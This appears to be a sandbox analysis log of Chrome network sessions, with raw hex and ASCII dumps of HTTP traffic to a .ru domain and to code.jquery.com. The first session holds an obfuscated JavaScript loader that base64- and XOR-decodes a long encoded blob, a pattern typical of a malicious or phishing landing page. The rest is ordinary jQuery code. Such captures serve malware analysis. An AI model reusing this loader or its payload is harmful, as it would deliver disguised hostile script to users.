2025-03-19 09:46:44 UTC	343	IN	Data Raw: 31 35 30 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 6a 72 57 77 75 77 6e 6e 70 28 45 7a 42 79 4d 6c 6a 55 78 5a 2c 20 66 54 4e 4f 72 7a 64 50 55 51 29 20 7b 0d 0a 6c 65 74 20 63 54 77 79 44 65 55 43 6f 73 20 3d 20 27 27 3b 0d 0a 45 7a 42 79 4d 6c 6a 55 78 5a 20 3d 20 61 74 6f 62 28 45 7a 42 79 4d 6c 6a 55 78 5a 29 3b 0d 0a 6c 65 74 20 50 5a 57 68 4a 68 44 47 77 48 20 3d 20 66 54 4e 4f 72 7a 64 50 55 51 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 45 7a 42 79 4d 6c 6a 55 78 5a 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 63 54 77 79 44 65 55 43 6f 73 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 45 7a 42 79 4d 6c 6a 55 78 5a 2e 63 68 61 72 43 6f Data Ascii: 150<script>function ijrWwuwnnp(EzByMljUxZ, fTNOrzdPUQ) {let cTwyDeUCos = '';EzByMljUxZ = atob(EzByMljUxZ);let PZWhJhDGwH = fTNOrzdPUQ.length;for (let i = 0; i < EzByMljUxZ.length; i++) { cTwyDeUCos += String.fromCharCode(EzByMljUxZ.charCo
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 33 34 65 38 0d 0a 57 4b 6a 6b 4a 20 3d 20 69 6a 72 57 77 75 77 6e 6e 70 28 60 66 55 42 56 42 43 51 4b 50 78 4e 42 4d 43 49 4f 46 42 34 35 44 6a 74 41 43 47 31 75 55 46 6b 53 4b 46 51 68 51 6b 63 6e 4d 30 6f 59 46 53 49 58 5a 46 6c 44 4e 79 52 42 54 31 74 2b 56 48 30 64 41 6d 77 73 57 6c 68 59 4a 77 6c 70 44 51 35 74 4d 6c 42 45 48 7a 30 4f 64 54 34 34 66 6a 4a 51 52 42 38 39 44 6d 74 41 51 43 46 38 45 56 34 43 4f 51 6f 34 43 52 31 74 49 6c 64 59 48 44 35 55 4b 46 39 64 4e 79 56 56 57 68 63 2f 48 32 56 51 58 53 39 75 55 6c 77 58 4e 56 55 6e 57 6c 41 78 62 6c 42 45 44 7a 30 4f 4a 42 35 59 4d 57 34 48 47 45 64 6a 53 32 52 51 51 44 73 78 52 31 6c 62 4a 77 6c 6c 58 6c 73 73 62 31 6c 46 56 48 4e 47 5a 45 42 52 4d 43 68 44 51 6b 68 41 63 45 59 35 44 6a 45 69 51 Data Ascii: 34e8WKjkJ = ijrWwuwnnp(`fUBVBCQKPxNBMCIOFB45DjtACG1uUFkSKFQhQkcnM0oYFSIXZFlDNyRBT1t+VH0dAmwsWlhYJwlpDQ5tMlBEHz0OdT44fjJQRB89DmtAQCF8EV4COQo4CR1tIldYHD5UKF9dNyVVWhc/H2VQXS9uUlwXNVUnWlAxblBEDz0OJB5YMW4HGEdjS2RQQDsxR1lbJwllXlssb1lFVHNGZEBRMChDQkhAcEY5DjEiQ
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 45 56 51 34 34 43 31 45 6e 66 69 67 79 55 58 45 44 4d 33 70 7a 45 51 4d 35 49 6e 4a 56 43 77 4a 79 55 54 38 4f 4f 79 78 36 63 51 4d 6d 65 6e 34 46 4b 68 67 63 5a 51 49 62 46 56 78 52 45 67 55 77 65 6d 6c 68 4e 53 5a 71 59 51 35 39 4e 53 4a 78 41 69 45 76 5a 56 6f 36 44 6a 67 35 61 57 6f 75 42 56 45 45 4a 43 45 31 49 6e 49 42 44 7a 68 78 44 7a 6f 4d 53 67 42 36 63 51 4d 6d 65 6e 55 33 4b 6a 4d 49 63 6c 55 4c 41 6e 4a 52 45 7a 51 34 50 32 6c 71 45 43 6c 38 58 7a 52 39 47 53 56 6c 58 67 34 43 63 56 34 55 42 53 74 39 65 6e 6f 51 4f 46 64 68 49 7a 34 7a 44 45 64 65 4a 78 52 39 51 43 77 4b 4c 33 31 36 64 68 74 79 65 6e 35 47 50 6a 34 61 58 46 55 4c 41 6e 4a 52 50 77 34 37 4c 48 70 78 41 79 5a 36 64 54 52 36 4d 77 77 43 58 69 59 47 64 67 41 2f 42 53 67 79 56 32 Data Ascii: EVQ44C1EnfigyUXEDM3pzEQM5InJVCwJyUT8OOyx6cQMmen4FKhgcZQIbFVxREgUwemlhNSZqYQ59NSJxAiEvZVo6Djg5aWouBVEEJCE1InIBDzhxDzoMSgB6cQMmenU3KjMIclULAnJREzQ4P2lqECl8XzR9GSVlXg4CcV4UBSt9enoQOFdhIz4zDEdeJxR9QCwKL316dhtyen5GPj4aXFULAnJRPw47LHpxAyZ6dTR6MwwCXiYGdgA/BSgyV2
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 47 41 49 65 61 57 6f 79 43 6d 6c 50 4e 33 51 7a 44 47 6c 61 49 41 6c 39 57 6a 6b 36 53 67 42 36 63 51 4d 6d 65 6e 45 34 4f 78 67 6c 66 51 49 4c 43 58 56 67 4a 33 38 73 43 47 63 43 4d 69 70 70 66 6a 38 71 4b 68 68 79 53 67 38 46 63 67 45 79 48 42 55 73 65 6e 45 44 4a 6c 41 45 49 48 30 70 48 41 59 43 47 42 6c 35 42 43 38 61 44 53 52 70 58 42 51 30 61 67 55 6b 50 52 68 35 42 31 30 4a 45 6e 45 42 4d 68 77 56 4c 48 70 78 41 79 5a 36 64 54 63 71 4d 77 78 39 52 43 41 76 66 51 59 2f 43 45 73 2f 5a 33 64 33 4f 47 46 61 45 6a 67 5a 48 6b 52 56 45 68 4a 78 51 53 77 56 4d 43 5a 52 41 51 67 31 61 6d 46 44 4a 79 41 59 42 6b 63 67 63 6c 42 5a 50 52 6b 4a 42 58 42 62 41 79 5a 36 64 54 63 71 4d 77 68 79 56 52 67 47 5a 56 38 53 47 68 34 6c 61 57 6f 4c 64 6e 64 6e 47 53 6f Data Ascii: GAIeaWoyCmlPN3QzDGlaIAl9Wjk6SgB6cQMmenE4OxglfQILCXVgJ38sCGcCMippfj8qKhhySg8FcgEyHBUsenEDJlAEIH0pHAYCGBl5BC8aDSRpXBQ0agUkPRh5B10JEnEBMhwVLHpxAyZ6dTcqMwx9RCAvfQY/CEs/Z3d3OGFaEjgZHkRVEhJxQSwVMCZRAQg1amFDJyAYBkcgclBZPRkJBXBbAyZ6dTcqMwhyVRgGZV8SGh4laWoLdndnGSo
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 31 42 78 44 69 55 66 48 77 4a 49 4a 6e 4e 31 51 54 38 6b 4f 44 4a 70 5a 54 56 34 65 6c 67 34 66 52 38 63 53 31 34 68 63 31 74 61 4c 42 55 72 49 6d 4e 56 4c 53 5a 36 63 67 34 33 48 67 4e 66 51 52 67 56 42 33 30 2f 44 6a 73 73 65 6e 46 36 4d 48 70 7a 45 69 45 59 4a 6d 56 4c 47 78 5a 45 55 53 4e 2b 4b 48 35 52 64 52 51 37 65 6e 55 5a 4f 7a 6b 69 63 6c 55 4c 41 6e 46 66 46 48 38 6f 66 6e 70 36 4d 51 70 36 64 54 63 71 4d 77 68 79 56 52 67 73 43 6b 4d 53 44 6b 73 6d 61 6d 56 7a 4d 56 46 2b 48 58 73 7a 43 46 64 68 49 48 4e 35 51 42 49 4b 51 69 56 2f 63 51 41 37 61 6d 46 44 4e 7a 59 54 66 56 34 68 4c 46 39 62 4f 54 6f 56 4c 48 70 78 41 79 5a 36 64 54 51 35 49 78 4e 35 58 43 4d 57 42 77 41 2f 43 54 74 38 63 46 73 44 4a 6e 70 31 4e 79 6f 7a 41 33 46 61 47 41 5a 68 Data Ascii: 1BxDiUfHwJIJnN1QT8kODJpZTV4elg4fR8cS14hc1taLBUrImNVLSZ6cg43HgNfQRgVB30/DjssenF6MHpzEiEYJmVLGxZEUSN+KH5RdRQ7enUZOzkiclULAnFfFH8ofnp6MQp6dTcqMwhyVRgsCkMSDksmamVzMVF+HXszCFdhIHN5QBIKQiV/cQA7amFDNzYTfV4hLF9bOToVLHpxAyZ6dTQ5IxN5XCMWBwA/CTt8cFsDJnp1NyozA3FaGAZh
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 56 5a 47 41 5a 66 51 79 77 33 46 53 78 2b 64 6a 45 4b 65 6e 55 33 4b 6a 4d 49 63 6c 55 59 42 6c 39 4d 46 51 6f 43 49 31 5a 6d 4c 53 5a 70 57 77 34 68 48 77 39 41 65 51 73 43 63 6c 45 2f 44 6a 73 73 55 6c 77 55 4f 31 64 78 47 69 41 66 47 41 4a 59 49 48 4d 47 42 69 77 61 54 33 74 38 57 77 41 72 61 57 46 44 66 53 41 54 65 67 55 42 4b 48 4a 52 50 77 34 37 4c 48 70 31 63 79 6c 51 57 78 49 39 47 43 46 63 56 51 38 56 63 55 45 54 44 6a 73 38 65 6e 59 44 64 6e 42 66 4e 79 6f 7a 43 48 45 4c 41 53 5a 63 55 54 38 4f 4f 79 78 52 58 77 52 7a 65 6e 34 67 50 6a 4d 4d 53 30 49 4c 43 55 42 39 50 77 34 37 4c 48 70 78 41 79 5a 52 59 54 41 30 49 48 6c 66 52 77 30 6f 63 6b 45 2f 43 54 39 36 55 48 6f 6c 64 6e 42 66 4e 79 6f 7a 43 48 45 4c 41 53 5a 63 55 54 38 4f 4f 79 78 52 58 Data Ascii: VZGAZfQyw3FSx+djEKenU3KjMIclUYBl9MFQoCI1ZmLSZpWw4hHw9AeQsCclE/DjssUlwUO1dxGiAfGAJYIHMGBiwaT3t8WwAraWFDfSATegUBKHJRPw47LHp1cylQWxI9GCFcVQ8VcUETDjs8enYDdnBfNyozCHELASZcUT8OOyxRXwRzen4gPjMMS0ILCUB9Pw47LHpxAyZRYTA0IHlfRw0ockE/CT96UHoldnBfNyozCHELASZcUT8OOyxRX
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 2f 46 6e 31 70 5a 69 30 6d 66 67 55 38 49 52 67 66 51 48 6b 4c 41 6e 4a 52 50 77 34 37 4c 46 46 6c 42 44 68 70 42 42 6f 34 4e 53 4a 79 52 51 30 32 58 46 45 2f 44 6a 73 73 65 6e 45 41 4e 6c 45 46 4f 44 30 65 44 46 39 45 49 43 74 63 55 52 55 67 4c 44 68 71 61 68 41 78 56 31 73 6a 65 6a 6b 69 63 6c 55 4c 41 6e 4a 52 50 77 55 56 50 31 4a 6c 64 79 70 70 62 68 46 37 4d 77 39 32 42 51 45 6f 63 6c 45 2f 44 6a 68 79 63 46 55 74 4a 6e 70 31 4e 79 6f 32 4a 6c 74 65 49 53 77 4c 55 52 55 4f 4f 48 78 77 57 77 4d 6d 65 6e 55 33 4b 6a 4d 4d 61 55 51 67 4c 32 4a 43 46 58 38 57 66 57 6c 6d 4c 53 5a 2b 5a 55 49 30 47 53 5a 6c 52 67 30 32 58 46 45 2f 44 6a 73 73 65 6e 45 41 4e 6c 45 46 4f 44 30 65 44 46 39 45 49 43 74 63 55 52 55 67 4c 44 68 71 61 68 41 78 56 31 73 6a 65 6a Data Ascii: /Fn1pZi0mfgU8IRgfQHkLAnJRPw47LFFlBDhpBBo4NSJyRQ02XFE/DjssenEANlEFOD0eDF9EICtcURUgLDhqahAxV1sjejkiclULAnJRPwUVP1JldyppbhF7Mw92BQEoclE/DjhycFUtJnp1Nyo2JlteISwLURUOOHxwWwMmenU3KjMMaUQgL2JCFX8WfWlmLSZ+ZUI0GSZlRg02XFE/DjssenEANlEFOD0eDF9EICtcURUgLDhqahAxV1sjej
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 66 6e 56 43 4e 54 45 66 51 48 6b 4c 41 6e 4a 52 50 77 56 4b 41 48 42 62 41 79 5a 36 64 54 63 34 47 58 6c 6c 53 79 59 73 58 31 77 73 48 6b 73 34 55 6d 6f 4d 63 58 39 31 4e 7a 67 5a 44 41 70 4c 4a 67 5a 70 51 42 51 4b 46 6a 31 2f 5a 53 59 34 55 6d 45 6e 50 6a 4d 49 42 67 49 59 47 58 30 47 46 78 70 4c 50 56 46 66 4c 69 6c 52 64 55 63 2b 47 78 4e 39 41 67 73 4a 51 48 30 2f 44 6a 73 73 65 6e 45 44 4a 6d 6c 78 47 6a 63 5a 44 45 74 61 4a 78 56 63 55 53 77 67 41 69 64 57 64 6a 45 4b 65 6e 55 33 4b 6a 4d 49 63 6c 55 6a 4c 32 56 4d 45 67 6f 57 4a 6c 5a 68 63 79 74 52 42 45 4e 39 49 42 77 47 41 67 30 6f 63 55 77 56 43 6a 77 68 61 57 46 7a 4b 56 42 62 54 33 77 59 4a 6d 49 46 41 53 68 79 55 54 38 4f 4f 79 78 36 64 52 67 79 61 57 34 52 4f 52 35 34 65 56 6f 68 42 56 78 Data Ascii: fnVCNTEfQHkLAnJRPwVKAHBbAyZ6dTc4GXllSyYsX1wsHks4UmoMcX91NzgZDApLJgZpQBQKFj1/ZSY4UmEnPjMIBgIYGX0GFxpLPVFfLilRdUc+GxN9AgsJQH0/DjssenEDJmlxGjcZDEtaJxVcUSwgAidWdjEKenU3KjMIclUjL2VMEgoWJlZhcytRBEN9IBwGAg0ocUwVCjwhaWFzKVBbT3wYJmIFAShyUT8OOyx6dRgyaW4ROR54eVohBVx
2025-03-19 09:46:44 UTC	1369	IN	Data Raw: 55 51 67 46 56 78 52 4f 78 6b 73 50 46 5a 32 4d 51 70 36 64 54 63 71 4d 77 4d 44 65 51 45 6f 63 6c 45 2f 44 6a 73 39 65 46 73 41 42 56 45 45 51 33 30 6a 48 48 30 43 43 77 52 70 51 42 55 67 53 69 78 34 57 33 6f 4b 65 6e 55 33 4b 6a 4d 49 42 6c 67 67 63 77 59 47 4c 78 6f 30 65 33 70 31 47 44 64 51 57 30 59 71 48 7a 78 63 56 51 73 43 63 6c 45 2f 44 6a 67 2f 61 6d 6f 6c 4e 56 63 45 47 69 59 65 44 46 51 45 43 77 56 6d 51 54 73 46 4f 48 39 38 52 53 30 6d 65 6e 55 33 4b 6a 4d 49 63 55 59 62 47 58 6c 59 46 78 70 4f 66 58 70 32 41 79 5a 71 62 69 42 39 47 44 46 41 65 51 73 43 63 6c 45 2f 44 6a 73 73 56 33 55 55 64 56 64 31 52 79 55 59 44 46 39 63 49 43 74 63 55 52 51 4b 4c 43 5a 58 64 6a 45 4b 65 6e 55 33 4b 6a 4d 44 41 33 6b 42 4b 48 4a 52 50 77 34 37 50 6d 6f 41 Data Ascii: UQgFVxROxksPFZ2MQp6dTcqMwMDeQEoclE/Djs9eFsABVEEQ30jHH0CCwRpQBUgSix4W3oKenU3KjMIBlggcwYGLxo0e3p1GDdQW0YqHzxcVQsCclE/Djg/amolNVcEGiYeDFQECwVmQTsFOH98RS0menU3KjMIcUYbGXlYFxpOfXp2AyZqbiB9GDFAeQsCclE/DjssV3UUdVd1RyUYDF9cICtcURQKLCZXdjEKenU3KjMDA3kBKHJRPw47PmoA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:43 UTC	1134	OUT	GET /fsRu3cLvg2nfKYhsBy8lAN9xZfMdkRkj HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjhlUEV6ZFJhaTE5SkJTRU5JQjg5amc9PSIsInZhbHVlIjoiZUdHcHVKRE9lZWxtcFFNaVoyTGQ0Yk5tS1JyMjZwOFJWSTR6N1pNK09rU2tvQjQ3eUN3Y1hleHNHQUJEb2x3dUxRa2dwUTdHb2pYQ2o5alZUbllnaUNYZHIwR0RVNFhhZXMza01NU1l6MGFDQWdGa1NLOG44K3NlSkwrVmpIejQiLCJtYWMiOiIyNGRhN2FmN2Y0MWE1YmIwNmNkOGJjZjI0MzFkYjE0OTNiMDk5NTA1ZjU1Y2YwNGI4MTE3Y2NjMzhlYmM0ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1BYUFveVlRWUQya29NSVRCcTVSNFE9PSIsInZhbHVlIjoiamowdi9TZnRKUkxwNWlkV2xDSk1sV1dUaW9UbmJkeWlERmtsbE5ScGdQSmRHMXVBQTFhQkdQWEFRRnFxUi9KUTZzMEhQeTlyQnU3NHM2eHpkSzd3a3JEWVg5OEpRbFMyOUpNSlBHTkdWYi9XQmlqMGROTGt2RGdyZFZpUjdIZ2kiLCJtYWMiOiJmYTViY2JjZTM2MjY3MWY4ZWE5ZjdmNzZmNTdjZjk2ODQxYzA3OWU3NmUyNTZhYTYyYTczY2Q4Zjg3NDAxNWVmIiwidGFnIjoiIn0%3D
2025-03-19 09:46:44 UTC	1021	IN	HTTP/1.1 404 Not Found Date: Wed, 19 Mar 2025 09:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AW9JS5bPz0%2F0qbZZ2BVz%2F5yvHaONAMGina2eCeYEgVWJUNrdafFbp2k5OICucR7CzM8BzgVO3epfKywzGsRWNkqGwRF8iJ7KMvSfSzw%2BQdI22elht9S%2FWBYcCI45"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=320&min_rtt=306&rtt_var=111&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2043&delivery_rate=10755319&cwnd=252&unsent_bytes=0&cid=ec0fc5b1c75f253e&ts=202&x=0" Server: cloudflare CF-RAY: 922c0b574f549731-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=446&min_rtt=444&rtt_var=170&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1706&delivery_rate=6295652&cwnd=239&unsent_bytes=0&cid=f23db39630d16e67&ts=481&x=0"
2025-03-19 09:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	35.190.80.1	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	534	OUT	OPTIONS /report/v4?s=AW9JS5bPz0%2F0qbZZ2BVz%2F5yvHaONAMGina2eCeYEgVWJUNrdafFbp2k5OICucR7CzM8BzgVO3epfKywzGsRWNkqGwRF8iJ7KMvSfSzw%2BQdI22elht9S%2FWBYcCI45 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://jx7d.qdjcpol.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:44 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 19 Mar 2025 09:46:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	151.101.130.137	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	716	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://jx7d.qdjcpol.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Range: bytes=65536-65536 If-Range: "28feccc0-15d9d"
2025-03-19 09:46:44 UTC	661	IN	HTTP/1.1 206 Partial Content Connection: close Content-Length: 1 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 19 Mar 2025 09:46:44 GMT Age: 3619206 X-Served-By: cache-lga21931-LGA, cache-fra-eddf8230079-FRA X-Cache: MISS, HIT X-Cache-Hits: 0, 61 X-Timer: S1742377604.325250,VS0,VE0 Vary: Accept-Encoding Content-Range: bytes 65536-65536/89501
2025-03-19 09:46:44 UTC	1	IN	Data Raw: 53 Data Ascii: S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	151.101.130.137	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:44 UTC	716	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://jx7d.qdjcpol.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Range: bytes=65536-89500 If-Range: "28feccc0-15d9d"
2025-03-19 09:46:44 UTC	622	IN	HTTP/1.1 206 Partial Content Connection: close Content-Length: 23965 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 19 Mar 2025 09:46:44 GMT Age: 1046586 X-Served-By: cache-lga21931-LGA, cache-fra-etou8220156-FRA X-Cache: HIT, HIT X-Cache-Hits: 5, 1676 X-Timer: S1742377604.409259,VS0,VE0 Vary: Accept-Encoding Content-Range: bytes 65536-89500/89501
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 20 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 74 3d 53 2e 70 72 6f 70 46 69 78 5b 74 5d 7c 7c 74 2c 69 3d 53 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 5d 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 69 26 26 22 73 65 74 22 69 6e 20 69 26 26 76 6f 69 64 20 30 21 3d 3d 28 72 3d 69 2e 73 65 74 28 65 2c 6e 2c 74 29 29 3f 72 3a 65 5b 74 5d 3d 6e 3a 69 26 26 22 67 65 74 22 69 6e 20 69 26 26 6e 75 6c 6c 21 3d 3d 28 72 3d 69 2e 67 65 74 28 65 2c 74 29 29 3f 72 3a 65 5b 74 5d 7d 2c 70 72 6f 70 48 6f 6f 6b 73 3a 7b 74 61 62 49 6e 64 65 78 3a 7b 67 65 Data Ascii: p:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)\|\|(t=S.propFix[t]\|\|t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{ge
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 73 5b 75 2b 2b 5d 29 69 66 28 69 3d 67 74 28 6e 29 2c 72 3d 31 3d 3d 3d 6e 2e 6e 6f 64 65 54 79 70 65 26 26 22 20 22 2b 68 74 28 69 29 2b 22 20 22 29 7b 61 3d 30 3b 77 68 69 6c 65 28 6f 3d 65 5b 61 2b 2b 5d 29 77 68 69 6c 65 28 2d 31 3c 72 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 6f 2b 22 20 22 29 29 72 3d 72 2e 72 65 70 6c 61 63 65 28 22 20 22 2b 6f 2b 22 20 22 2c 22 20 22 29 3b 69 21 3d 3d 28 73 3d 68 74 28 72 29 29 26 26 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 2c 73 29 7d 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 74 6f 67 67 6c 65 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 74 29 7b 76 61 72 20 6f 3d 74 79 70 65 6f 66 20 69 2c 61 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 6f 7c 7c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 69 29 3b Data Ascii: s[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o\|\|Array.isArray(i);
2025-03-19 09:46:44 UTC	1378	IN	Data Raw: 65 2e 72 65 70 6c 61 63 65 28 79 74 2c 22 22 29 3a 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 65 3a 76 6f 69 64 20 30 7d 7d 29 2c 53 2e 65 78 74 65 6e 64 28 7b 76 61 6c 48 6f 6f 6b 73 3a 7b 6f 70 74 69 6f 6e 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 66 69 6e 64 2e 61 74 74 72 28 65 2c 22 76 61 6c 75 65 22 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 74 3f 74 3a 68 74 28 53 2e 74 65 78 74 28 65 29 29 7d 7d 2c 73 65 6c 65 63 74 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 65 2e 6f 70 74 69 6f 6e 73 2c 6f 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 61 3d 22 73 65 6c 65 63 74 2d 6f 6e 65 22 3d 3d 3d 65 2e 74 79 70 65 2c 73 3d 61 3f 6e 75 6c 6c 3a 5b 5d 2c 75 3d 61 3f 6f 2b 31 3a 69 Data Ascii: e.replace(yt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var 